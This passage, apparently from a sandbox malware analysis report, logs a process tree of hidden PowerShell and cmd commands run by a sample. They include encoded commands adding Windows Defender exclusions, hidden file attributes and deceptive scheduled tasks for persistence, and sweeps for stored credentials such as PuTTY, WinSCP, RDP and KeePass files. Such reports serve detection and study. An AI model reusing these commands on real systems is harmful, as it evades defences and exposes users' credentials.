  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAE8ATQBcAFwAUwB1AHIAcgBvAGcAYQB0AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul'"
  2⤵
  PID:4120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\Martin Prikryl\WinSCP 2\Sessions /s 2>nul"
    3⤵
    PID:4892
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\Martin Prikryl\WinSCP 2\Sessions /s
      4⤵
      PID:5536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" 2>nul'"
  2⤵
  PID:6316
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4324
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe
      4⤵
      Views/modifies file attributes
      PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ItemProperty -Path 'HKCU:\Software\Microsoft\OneDrive' -Name 'UserFolder' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UserFolder"
  2⤵
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAE8ATQBcAFwAUwB1AHIAcgBvAGcAYQB0AGUAXABcAEMATwBNAFMAdQByAHIAbwBnAGEAdABlADMAMgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Office\16.0.0\Outlook\Profiles" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Office\16.0.0\Outlook\Profiles /s 2>nul"
    3⤵
    PID:5868
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Office\16.0.0\Outlook\Profiles /s
      4⤵
      PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMATwBNAFMAdQByAHIAbwBnAGEAdABlADMAMgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Office\15.0.0\Outlook\Profiles" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6568
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Office\15.0.0\Outlook\Profiles /s 2>nul"
    3⤵
    PID:4464
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Office\15.0.0\Outlook\Profiles /s
      4⤵
      PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:3832
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Office\14.0.0\Outlook\Profiles" /s 2>nul'"
  2⤵
  PID:984
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Office\14.0.0\Outlook\Profiles /s 2>nul"
    3⤵
    PID:3392
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Office\14.0.0\Outlook\Profiles /s
      4⤵
      Modifies registry key
      PID:5620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:2092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5568
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:USERPROFILE -Filter '*.kdbx' -Recurse -ErrorAction SilentlyContinue -Depth 3 | Select-Object FullName,Length | Format-Table -AutoSize"
  2⤵
  PID:6128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry" 2>nul'"
  2⤵
  PID:6420
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5300
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry
      4⤵
      Views/modifies file attributes
      PID:7160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\TeamViewer" /s 2>nul'"
  2⤵
  PID:6200
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\TeamViewer /s 2>nul"
    3⤵
    PID:476
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\TeamViewer /s
      4⤵
      PID:1360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:464
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe
      4⤵
      Views/modifies file attributes
      PID:3404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul"
    3⤵
    PID:6168
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\SimonTatham\PuTTY\Sessions /s
      4⤵
      PID:6356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABUAGUAbABlAG0AZQB0AHIAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\Microsoft\Terminal Server Client\Servers" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\Microsoft\Terminal Server Client\Servers /s 2>nul"
    3⤵
    PID:5064
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\Microsoft\Terminal Server Client\Servers /s
      4⤵
      PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABUAGUAbABlAG0AZQB0AHIAeQBcAFwAUwBlAGEAcgBjAGgAUAByAG8AdABvAGMAbwBsAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:USERPROFILE\Documents\Default.rdp,$env:USERPROFILE\Desktop\*.rdp -ErrorAction SilentlyContinue | Select-Object FullName | Format-Table -AutoSize"
  2⤵
  PID:6704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:USERPROFILE\*.ppk,$env:USERPROFILE\Documents\*.ppk -ErrorAction SilentlyContinue | Select-Object FullName,Length | Format-Table -AutoSize"
  2⤵
  PID:6832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7072
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6808
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'cmdkey /list'"
  2⤵
  PID:944
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "cmdkey /list"
    3⤵
    PID:6252
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4940
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2480
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-StoredCredential | Select-Object TargetName, UserName, Type | Format-Table -AutoSize"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service" 2>nul'"
  2⤵
  PID:5116
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1292
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service
      4⤵
      Views/modifies file attributes
      PID:6452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe" 2>nul'"
  2⤵
  PID:6528
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5076
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe
      4⤵
      Views/modifies file attributes
      PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABJAE4AZQB0AEMAYQBjAGgAZQBcAFwAUwBlAHIAdgBpAGMAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABJAE4AZQB0AEMAYQBjAGgAZQBcAFwAUwBlAHIAdgBpAGMAZQBcAFwAZABsAGwAaABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGQAbABsAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:APPDATA\Microsoft\Protect -Recurse -ErrorAction SilentlyContinue | Select-Object FullName,Length | Format-Table -AutoSize"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2424
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6344
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:LOCALAPPDATA\Microsoft\Credentials -Recurse -ErrorAction SilentlyContinue | Select-Object FullName,Length | Format-Table -AutoSize"
  2⤵
  PID:6796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
